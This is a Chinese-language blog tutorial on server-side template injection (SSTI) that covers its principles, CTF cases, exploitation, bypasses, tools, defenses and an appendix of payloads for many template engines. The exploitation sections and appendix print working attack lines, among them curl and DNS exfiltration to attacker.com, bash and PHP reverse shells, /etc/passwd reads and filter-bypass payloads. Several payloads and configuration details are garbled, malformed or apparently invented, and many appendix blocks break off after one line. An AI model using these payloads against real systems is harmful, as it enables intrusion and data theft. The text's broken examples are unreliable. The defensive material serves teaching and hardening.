
深入剖析 WEB 安全之 SSTI 漏洞:原理、利用与防御指南
一、SSTI漏洞简介
在 Web 应用安全领域,服务器端模板注入(Server-Side Template Injection,简称 SSTI)漏洞如同潜伏在系统中的隐形威胁,一旦被攻击者利用,可能导致敏感信息泄露、系统命令执行甚至服务器被完全控制。本文将从多个维度系统解析 SSTI 漏洞,带您深入理解其原理、利用方式及防御策略。
二、SSTI漏洞的本质与原理
(一)模板引擎的工作机制
模板引擎是 Web 开发中用于动态生成 HTML 页面的工具,它将固定的页面结构与动态数据分离。常见的模板引擎如 Python 的 Jinja2、Flask-Template,Java 的 FreeMarker、Velocity,PHP 的 Twig 等。以 Jinja2 为例,其基本工作流程是:开发者定义包含变量占位符(如 {{variable}}
)的模板文件,当请求触发时,服务器将动态数据填充到占位符位置,最终生成完整的 HTML 页面返回给客户端。
(二)漏洞产生的核心原因
SSTI 漏洞的根源在于模板引擎对用户输入的信任与未做严格过滤。当用户输入的内容被当作模板的一部分进行解析和执行时,若输入包含恶意的模板语法或代码,模板引擎会将其视为合法指令并执行,从而导致注入攻击。例如,正常情况下用户输入的姓名会被填充到 {{name}}
位置,但若用户输入 {{ system('ls') }}
,在未做防护的情况下,模板引擎可能会执行系统命令列出服务器文件。
三、SSTI 漏洞发生的标志
(一)输入验证异常响应
当在输入框中提交包含模板语法的特殊字符时,系统返回异常或非预期结果,是判断 SSTI 漏洞存在的重要标志:
- 输入49后页面显示49,表明可能存在 Jinja2 或 Twig 类型漏洞
- 输入${7*7}后页面显示49,可能存在 FreeMarker 或 Velocity 漏洞
- 输入#{7*7}后页面显示49,大概率存在 FreeMarker 漏洞
(二)错误日志特征
服务器错误日志中出现与模板解析相关的异常信息,例如:
- Jinja2 报错:TemplateSyntaxError: unexpected char
{
at position 0 - FreeMarker 报错:TemplateModelException: Failed to parse template
- 日志中频繁出现非预期的表达式执行记录,如Attempt to evaluate expression:
{{ system('id') }}
(三)响应内容异常
正常业务逻辑下,用户输入应作为纯文本显示,但存在 SSTI 漏洞时:
- 输入
<script>alert(1)</script>
未被转义,直接执行弹窗 - 输入
{{ config }}
后,响应内容返回应用配置信息(如 SECRET_KEY、数据库连接参数) - 输入系统命令相关语法后,响应内容包含服务器文件列表、用户信息等系统数据
三、SSTI 漏洞的危害
(一)敏感信息泄露
攻击者可通过漏洞获取服务器及应用的核心数据:
- 读取系统配置文件:/etc/passwd、/etc/shadow、/etc/hosts等
- 窃取应用敏感信息:数据库连接密码、API 密钥、用户凭证等
- 获取用户隐私数据:通过读取应用数据文件或数据库,获取用户姓名、手机号、身份证号等
(二)系统权限控制
利用漏洞执行系统命令,实现对服务器的完全控制:
- 执行whoami查看当前用户权限,若返回root则可控制整个系统
- 通过rm -rf /等命令删除系统文件,导致服务器瘫痪**
- 植入后门程序,如写入恶意脚本到/etc/rc.d/rc.local实现开机自启动
(三)横向渗透跳板
以被攻击服务器为据点,向内部网络扩展攻击:
- 通过nmap扫描内网存活主机及开放端口
- 利用获取的数据库账号密码连接内网数据库
- 窃取服务器上的 SSH 密钥(如~/.ssh/id_rsa),登录其他服务器
(四)数据篡改与勒索
- 修改网站首页内容,显示攻击标语或勒索信息
- 加密用户数据并索要赎金,如针对电商平台的订单数据加密
- 篡改交易记录,窃取资金或修改用户权限
四、SSTI 漏洞的影响范围
(一)技术栈覆盖范围
几乎所有使用模板引擎的编程语言及框架均受影响:
- Python 生态:Jinja2、Django Template、Mako、Cheetah
- Java 生态:FreeMarker、Velocity、Thymeleaf、Groovy Templates
- PHP 生态:Twig、Smarty、Blade(Laravel 模板引擎)
- 其他语言:Ruby 的 ERB、Node.js 的 EJS、Go 的 html/template 等
(二)行业应用场景
- 企业官网与 CMS 系统:如 WordPress(插件漏洞)、织梦 CMS、帝国 CMS 等
- 电商与交易平台:用户评论、商品描述、订单备注等输入场景
- OA 与办公系统:内部通知、文件上传描述、用户留言板功能
- API 接口服务:接收 JSON/XML 格式输入并动态渲染的 API 端点
- 教育与考试系统:在线作业提交、答案解析展示等模块
(三)攻击面扩展
- 直接用户输入场景:评论框、搜索栏、表单提交
- 间接数据传递:URL 参数(如/page?name=xxx)、HTTP 请求头(如User-Agent)
- 文件内容解析:上传的 CSV/JSON 文件、模板文件导入功能
- 数据库存储数据:从数据库读取并渲染到页面的用户历史输入
五、实际应用中常发生 SSTI 漏洞的地方
(一)内容发布系统
- 用户评论模块:未对评论内容做模板语法过滤,如论坛、博客评论区
- 文章编辑功能:富文本编辑器未正确转义用户输入的 HTML 与模板语法
- 标签与分类系统:用户自定义标签被直接插入到页面模板中
(二)电商与社交平台
- 商品描述与详情页:商家或用户填写的商品描述包含恶意模板语法
- 个人资料简介:用户签名、个人简介等字段未做安全校验
- 聊天与私信系统:即时通讯内容被动态渲染时触发漏洞
(三)管理后台系统
- 数据导入功能:导入 CSV/Excel 文件时未验证数据格式
- 动态配置页面:管理员自定义系统提示语、邮件模板等功能
- 日志查询与展示:未对查询结果做转义处理直接渲染到页面
(四)API 与微服务
- RESTful API 接口:接收 JSON 数据中的template字段并动态解析
- 模板生成服务:根据用户传入的模板参数生成报告或文档
- 消息队列处理:消费包含模板语法的消息并进行渲染
六、CTF 中常见的 SSTI 漏洞场景
(一)Web 渗透类题目
- 模板语法探测关卡:要求识别不同模板引擎的语法特征,如区分 Jinja2 与 FreeMarker
- 环境信息获取题:通过 SSTI 读取服务器环境变量、应用配置等信息
- 命令执行突破题:绕过关键字过滤(如过滤os、system)实现系统命令执行
(二)代码审计类题目
- 模板引擎配置漏洞:分析 Flask/Jinja2 配置文件,找出未禁用危险函数的代码
- 输入过滤缺失题:审查用户输入处理函数,发现未转义的模板渲染点
- 沙箱绕过挑战:在限制严格的模板沙箱中,利用类继承链或特殊方法突破限制
(三)综合利用类题目
- SSTI 与文件上传结合:通过 SSTI 漏洞获取文件上传路径,再结合文件包含漏洞
- SSTI 与数据库交互:利用漏洞获取数据库连接信息,结合 SQL 注入完成攻击
- 反弹 Shell 完整流程:从信息收集到执行反弹 Shell 命令,完成服务器控制
(四)典型 CTF 题目示例
题目场景:某 Flask 应用的搜索功能存在 SSTI 漏洞,要求读取/flag.txt文件
- 解题思路:使用 Jinja2 语法
1
{{ __import__('os').popen('cat /flag.txt').read() }}
- 解题思路:使用 Jinja2 语法
题目场景:FreeMarker 模板禁用了java.lang.Runtime类,要求绕过限制执行命令
- 解题思路:通过反射获取其他类执行命令,如:
1
${class.forName('java.lang.ProcessBuilder').getConstructor(String\[\].class).newInstance(\["id"]).start()}
- 解题思路:通过反射获取其他类执行命令,如:
题目场景:PHP Twig 模板过滤了system等函数,要求利用其他方式执行命令
- 解题思路:利用如下命令,通过过滤器间接执行
1
{{ _self.env.getFilter('convert_uuencode').filter('id') }}
- 解题思路:利用如下命令,通过过滤器间接执行
七、SSTI漏洞的利用技巧
(一)检测阶段代码解析
1.数学运算测试
1 | {{7*7}} # 预期49 |
作用:
- 测试模板引擎是否执行运算
- 第一个测试基本运算能力
- 第二个测试字符串操作能力(Python中7*’7’会重复字符串7次)
- 无回显时需结合时间延迟判断(如复杂计算导致响应延迟)
2.字符串操作测试
1 | {{'a'+'b'}} # 预期ab |
作用:
- 验证字符串连接功能
- 测试模板引擎的字符串处理能力
- 无回显场景下可尝试超长字符串观察内存/响应时间变化
(二)确认阶段代码解析(无回显技术)
1.时间延迟技术
1 | {% if 1 == 1 %}sleep(5){% endif %} |
技术细节:
- 利用模板条件语句执行系统命令
sleep(5)
会使服务器进程暂停5秒- 通过测量响应时间确认漏洞存在
- 不同引擎语法可能不同(Jinja2用
{% %}
,Twig类似)
2.外部交互技术
1 | {{request.application.__globals__.__builtins__.__import__('os').popen('curl http://attacker.com/?test').read()}} |
代码分解:
request.application
:访问Flask应用对象__globals__
:获取全局变量字典__builtins__
:访问内置函数__import__('os')
:动态导入os模块popen()
:执行系统命令curl http://attacker.com/?test
:向攻击者服务器发起HTTP请求
无回显利用:
- 通过DNS/HTTP日志确认命令执行
- 可用于外带数据(如:
curl http://attacker.com/$(whoami)
)
3.DNS外带技术
1 | {{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('nslookup attacker.com')}} |
代码分解:
''.__class__
:获取字符串类(Python中为str)__mro__[1]
:获取父类(object)__subclasses__()[132]
:找到可用的子类(通常是Popen或os._wrap_close)__init__.__globals__
:访问该类的全局变量['system']
:获取system函数nslookup attacker.com
:执行DNS查询
优势:
- DNS请求通常不受防火墙限制
- 可通过子域名携带数据(如
$(whoami).attacker.com
)
(三)利用阶段代码解析
1.反向Shell示例
1 | {{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/10.0.0.1/4242 0>&1"').read()}} |
代码分解:
config
:Flask配置对象__class__.__init__.__globals__
:访问全局命名空间['os']
:获取os模块popen()
:执行命令bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
:Bash反向shell命令
无回显要点:
- 不需要输出即可建立连接
- 需提前在攻击机监听(
nc -lvnp 4242
)
2.文件读取示例
1 | {{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['open']('/etc/passwd').read()}} |
变种(无回显时):
1 | {{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['open']('/etc/passwd').read() | urlencode}} |
然后通过DNS/HTTP外带数据
环境变量泄露:
1 | {{self.__dict__._TemplateReference__context.config}} |
(四)关键技术点说明
1.对象链遍历:
- Python通过
__class__
、__mro__
、__subclasses__()
等方式遍历对象继承链 - 目的是找到包含危险函数(os.system、open等)的类
2.全局变量访问:
__globals__
是关键属性,包含模块级别的全局变量- 类似PHP中的
GLOBALS
或Java的ClassLoader
3.无回显适配:
- 所有利用必须产生可观测的副作用:
- 网络请求(HTTP/DNS)
- 时间延迟
- 文件系统变化
- 服务行为改变
4.多引擎兼容:
- 不同模板引擎的语法差异:
1
2
3
4// JavaScript模板引擎
${"a".constructor.prototype}
// Ruby ERB
<%= 7 * 7 %>
(五)防御绕过技巧
1.字符串拼接:
1 | {{'o'+'s'}.popen('id')}} |
2.属性访问替代:
1 | {{request['application']['__globals__']}} |
3.过滤器滥用:
1 | {{'id'|system}} |
4. 编码混淆:
1 | {{'\x6f\x73'.popen('id')}} |
八、SSTI 漏洞的防御与修复策略
(一)输入输出双重防护
1.严格输入校验
- 采用白名单机制,仅允许字母、数字、常用符号等安全字符输入
- 使用正则表达式过滤模板语法特征字符,如\{\{、\}\}、$\{、#\{等
- 示例(Python 正则过滤):
1
2
3
4
5
6import re
def sanitize_input(input_str):
# 过滤 Jinja2/FreeMarker 等模板语法
if re.search(r'\{\{.*?\}\}|\$\{.*?\}|#\{.*?\}', input_str):
return "" # 或抛出异常
return input_str
2.输出转义处理
- 在模板渲染时对用户输入进行强制转义,不同模板引擎的转义方式:
- Jinja2:使用
{{ content|e }}
或{{ content|escape }}
- FreeMarker:使用
${content?html}
- Twig:使用
{{ content|escape }}
- Jinja2:使用
- 示例(Flask 应用配置):
1
2
3
4
5
6
7
8from flask import Flask, render_template_string
app = Flask(__name__)
# 开启全局转义
app.jinja_env.autoescape = True
def page(name):
# 显式转义用户输入
return render_template_string("Hello, {{ name|e }}!")
(二)模板引擎安全配置
1.禁用危险函数
- Jinja2安全配置
1
2
3
4
5
6
7
8
9
10
11
12
13from jinja2 import Environment, StrictUndefined
env = Environment(
undefined=StrictUndefined, # 严格模式,未定义变量报错
autoescape=True, # 自动转义
# 限制可用全局函数,仅保留必要函数
globals={
'dict': dict,
'list': list,
'str': str,
'len': len,
'abs': abs
}
) - FreeMarker安全配置: 在freemarker.properties中添加:
1
2
3classic_compatible=false # 禁用经典兼容模式
new_builtin_class_enabled=false # 禁用新建类
auto_include_classpath_prefixes= # 清空自动包含的类路径
2.沙箱环境限制
使用模板引擎的沙箱机制限制对象访问,如Django的模板沙箱:
1 | # settings.py 配置 |
(三)代码开发安全规范
1.避免动态模板渲染
- 尽量使用静态模板,减少render_template_string等动态渲染函数的使用
- 示例(Flask 安全写法):
1
2
3
4# 不安全写法:动态渲染用户输入
render_template_string(user_input)
# 安全写法:使用固定模板,变量通过参数传递
render_template('fixed_template.html', content=user_input)
2.分离数据与模板
确保用户输入仅作为数据传递,不参与模板逻辑
在服务端对用户输入进行严格清洗,使用专门的函数处理不可信数据
(四)运行时监控与应急响应
- 日志审计与异常检测
- 记录所有模板渲染的输入内容,重点监控包含{{、${等字符的请求
- 使用 WAF(Web 应用防火墙)拦截包含模板语法的恶意请求
- 示例(Nginx 拦截规则):
1
2
3
4
5
6
7
8
9
10location / {
if ($request_method = POST) {
if ($request_body ~* "(\{\{|\}\}|\$\{|\#\{)") {
return 403; # 禁止包含模板语法的POST请求
}
}
if ($query_string ~* "(\{\{|\}\}|\$\{|\#\{)") {
return 403; # 禁止包含模板语法的URL参数
}
}
- 应急响应与漏洞修复
- 及时发现并修复漏洞,避免被攻击者利用
- 定期更新模板引擎版本,修复已知漏洞
- 加强用户输入的校验与过滤,防止恶意注入
- 对遗留系统进行安全评估,添加额外的防护中间件
- 针对已发现的漏洞,可采用以下紧急修复措施:
- 在应用入口处添加全局过滤中间件,拦截恶意输入
- 临时关闭动态模板渲染功能,改为静态页面展示
九、SSTI 漏洞的利用与利用工具
(一)检测工具
tplmap:自动化SSTI检测和利用工具
1
python tplmap.py -u 'http://target/page?name=John'
Burp Suite插件:
- SSTI Scanner
- ActiveScan++
手工检测工具包:
1
2# 常用payload集合
git clone https://github.com/payloadbox/ssti-payloads
(二)利用工具/自动化工具
1.通用工具
tplmap:
1
python tplmap.py -u 'http://target/page?name=*' --os-shell
SSTI Exploit Kit:
1
git clone https://github.com/vladko312/SSTI-exploit
2.无回显专用
DNS OOB检测:
1
python ssti_detector.py -u http://target -d yourdomain.com
时间延迟检测:
1
python ssti_blind.py -u http://target --time-based
3.自定义工具示例
1 | import requests |
十、附录:常见模板引擎payload合集
(一)Jinja2(Python)Payloads
1.基础信息探测
1 | # 查看环境变量 |
2.命令执行(高危)
1 | # 传统OS模块调用 |
3.文件操作
1 | # 读取文件 |
4.进阶利用(反弹Shell)
1 | # Python反弹Shell(需服务器监听) |
(二)FreeMarker(Java)Payloads
1.基础环境探测
1 | ${server.info} |
2.命令执行(高危)
1 | # 传统Runtime.getRuntime()调用 |
3.文件操作
1 | # 读取文件 |
4.反弹Shell(需配合监听)
1 | ${"freemarker.template.utility.Execute"?new()("bash -c 'exec bash -i >& /dev/tcp/attacker.com/4444 0>&1'")} |
(三)Twig(PHP)Payloads
1.基础信息探测
1 | {{_self.env.config}} |
2.命令执行(高危)
1 | # 利用PHP原生函数 |
3.文件操作
1 | # 读取文件 |
4.反弹Shell(需PHP环境支持)
1 | {{system("php -r '$sock=fsockopen(\"attacker.com\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'")}} |
(四)Velocity(Java)Payloads
1.命令执行核心Payload
1 | # 基础命令执行 |
2.综合利用Payload
1 | # 完整命令执行链 |
(五)EJS(Node.js)Payloads
1.命令执行核心Payload
1 | <% var require = global.require || process.mainModule.constructor._load; %> |
2.反弹Shell实现
1 | <% var require = global.require || process.mainModule.constructor._load; %> |
(六)Smarty(PHP)Payloads
1.命令执行核心Payload
1 | {php}system('id');{/php} |
2.进阶利用(绕过disable_functions)
1 | {php}$p = new Phar('/tmp/test.phar'); $p->startBuffering(); $p->setStub('<?php __HALT_COMPILER(); ?>'); $p->setMetadata(array('cmd' => 'system("id")')); $p->addFromString('test.txt', ''); $p->stopBuffering(); @unlink('/tmp/test.php'); rename('/tmp/test.phar', '/tmp/test.php');{/php} |
(七)Mustache(多语言)Payloads
1.Python环境下的Payload
1 | # 配合Python后端漏洞 |
2.JavaScript环境下的Payload
1 | {{#with "s" as |string|}} |
(八)通用Payload技巧
1.动态类查找技巧
1 | # Jinja2中查找关键类(以os._wrap_close为例) |
2.命令执行结果回显优化
1 | # Jinja2中合并多行输出 |
3.编码绕过技巧(以Base64为例)
1 | # Jinja2中Base64编码绕过 |
4.沙箱绕过高级技巧
1 | # Jinja2中绕过沙箱(适用于部分限制场景) |
⚠️ 警告:上述Payload仅用于安全研究与漏洞验证,未经授权在非授权环境中执行可能违反法律法规。实际渗透测试中需严格遵守授权范围,开发者应将这些Payload作为安全编码的反面教材,强化系统防御。
十一、总结与安全建议
SSTI 漏洞作为 Web 应用中极具威胁的安全风险,其本质是模板引擎对用户输入的信任缺失。从攻击者角度看,掌握不同模板引擎的语法特性和利用技巧是实施攻击的关键;从防御者角度出发,需构建 “输入过滤 - 模板沙箱 - 安全开发 - 运行监控” 的多层防护体系。对于企业和开发者而言,应将 SSTI 漏洞的防范纳入日常安全流程,定期进行安全培训和代码审计,避免因疏忽导致的安全事故。
在实际开发中,建议:
- 遵循 “最小权限原则” 配置模板引擎
- 对所有用户输入保持 “不信任” 态度
- 通过自动化测试工具(如 OWASP ZAP、Burp Suite)定期扫描系统漏洞
唯有 保持对漏洞的敬畏与持续的技术更新,才能有效抵御不断演变的攻击手段,守护 Web 应用的安全底线。
结语
思维的碰撞,往往诞生于一场积极的交流;智慧的火花,常在热烈的讨论中闪耀。如果您在这片文字的海洋里,找到了共鸣或产生了独特的见解,不妨在评论区留下您的声音。我珍视每一位读者的思考,期待与您一同构建一个充满活力的思想社区。
同时,为了不错过更多精彩内容和深度交流的机会,也欢迎大家加入我:
无论是评论区的畅所欲言,还是在各个平台上与我们并肩同行,都将是推动我不断前行的动力。ByteWyrm,因您的参与而更加精彩!
- Thanks for your appreciation. / 感谢您的赞赏